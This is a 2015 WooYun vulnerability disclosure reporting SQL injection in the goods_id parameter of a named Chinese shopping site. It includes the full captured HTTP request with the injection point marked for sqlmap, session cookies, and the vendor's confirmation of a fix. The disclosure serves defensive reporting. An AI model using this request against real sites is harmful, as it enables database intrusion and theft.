漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0114266
漏洞标题：北京优购主站存在SQL注入
相关厂商：北京优购文化发展有限公司
漏洞作者： firexp
提交时间：2015-05-15 14:35
修复时间：2015-07-01 12:42
公开时间：2015-07-01 12:42
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-05-15： 细节已通知厂商并且等待厂商处理中
2015-05-17： 厂商已经确认，细节仅向厂商公开
2015-05-27： 细节向核心白帽子及相关领域专家公开
2015-06-06： 细节向普通白帽子公开
2015-06-16： 细节向实习白帽子公开
2015-07-01： 细节向公众公开
简要描述：
呵呵
详细说明：
POST /flow/inventory/proInv HTTP/1.1
Host: www.17ugo.com
Proxy-Connection: keep-alive
Content-Length: 244
Cache-Control: max-age=0
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://www.17ugo.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://www.17ugo.com/goods-23469.html?tp=HomePage.1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
Cookie: real_ipd=116.52.220.206; ECS_ID=e2e616631030727490c0c1fb1d8ed3629f47a3de; tanchu=1; OZ_0J_1687=A*AD_shouye_jinribanjia_new*1431661850; bdshare_firstime=1431661853900; _ga=GA1.2.1258467139.1431661827; _gat=1; user_area=30%2C367%2C3100; __utmt=1; __utma=232567135.1258467139.1431661827.1431661827.1431664135.2; __utmb=232567135.2.10.1431664135; __utmc=232567135; __utmz=232567135.1431661827.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); userViewHistory=23469; __ozlvd1687=1431664146; ecshop_affiliate_uid=0; Hm_lvt_7b74f5f61e55127b3a8e6c0f8a2eed17=1431661827; Hm_lpvt_7b74f5f61e55127b3a8e6c0f8a2eed17=1431664160; nTalk_CACHE_DATA={uid:kf_9715_ISME9754_guestE816BCB9-B144-C8,tid:1431661827611449,onlyone:1}; NTKF_T2D_CLIENTID=guestE816BCB9-B144-C878-7B7A-55B1DA91E952; nTalk_PAGE_MANAGE={|m|:[{|60423|:|641780|},{|28788|:|641775|},{|65427|:|641782|}],|t|:|12:29:38|}
goods=%7B%22quick%22%3A1%2C%22spec%22%3A%5B%5D%2C%22stylecolor%22%3A%220%22%2C%22goods_id%22%3A%2223469*%22%2C%22number%22%3A1%2C%22product_id%22%3A%2268056%22%2C%22mark%22%3A0%2C%22parent%22%3A0%7D®ion=%5B%2230%22%2C%22367%22%2C%223100%22%5D
goods_id存在注入,sqlmap需要自定义注射点
漏洞证明：
POST /flow/inventory/proInv HTTP/1.1
Host: www.17ugo.com
Proxy-Connection: keep-alive
Content-Length: 244
Cache-Control: max-age=0
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://www.17ugo.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://www.17ugo.com/goods-23469.html?tp=HomePage.1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
Cookie: real_ipd=116.52.220.206; ECS_ID=e2e616631030727490c0c1fb1d8ed3629f47a3de; tanchu=1; OZ_0J_1687=A*AD_shouye_jinribanjia_new*1431661850; bdshare_firstime=1431661853900; _ga=GA1.2.1258467139.1431661827; _gat=1; user_area=30%2C367%2C3100; __utmt=1; __utma=232567135.1258467139.1431661827.1431661827.1431664135.2; __utmb=232567135.2.10.1431664135; __utmc=232567135; __utmz=232567135.1431661827.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); userViewHistory=23469; __ozlvd1687=1431664146; ecshop_affiliate_uid=0; Hm_lvt_7b74f5f61e55127b3a8e6c0f8a2eed17=1431661827; Hm_lpvt_7b74f5f61e55127b3a8e6c0f8a2eed17=1431664160; nTalk_CACHE_DATA={uid:kf_9715_ISME9754_guestE816BCB9-B144-C8,tid:1431661827611449,onlyone:1}; NTKF_T2D_CLIENTID=guestE816BCB9-B144-C878-7B7A-55B1DA91E952; nTalk_PAGE_MANAGE={|m|:[{|60423|:|641780|},{|28788|:|641775|},{|65427|:|641782|}],|t|:|12:29:38|}
goods=%7B%22quick%22%3A1%2C%22spec%22%3A%5B%5D%2C%22stylecolor%22%3A%220%22%2C%22goods_id%22%3A%2223469*%22%2C%22number%22%3A1%2C%22product_id%22%3A%2268056%22%2C%22mark%22%3A0%2C%22parent%22%3A0%7D®ion=%5B%2230%22%2C%22367%22%2C%223100%22%5D
goods_id存在注入,sqlmap需要自定义注射点
修复方案：
版权声明：转载请注明来源 firexp@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：12
确认时间：2015-05-17 12:41
厂商回复：
感谢您的关注，该问题已经处理，谢谢！
最新状态：
暂无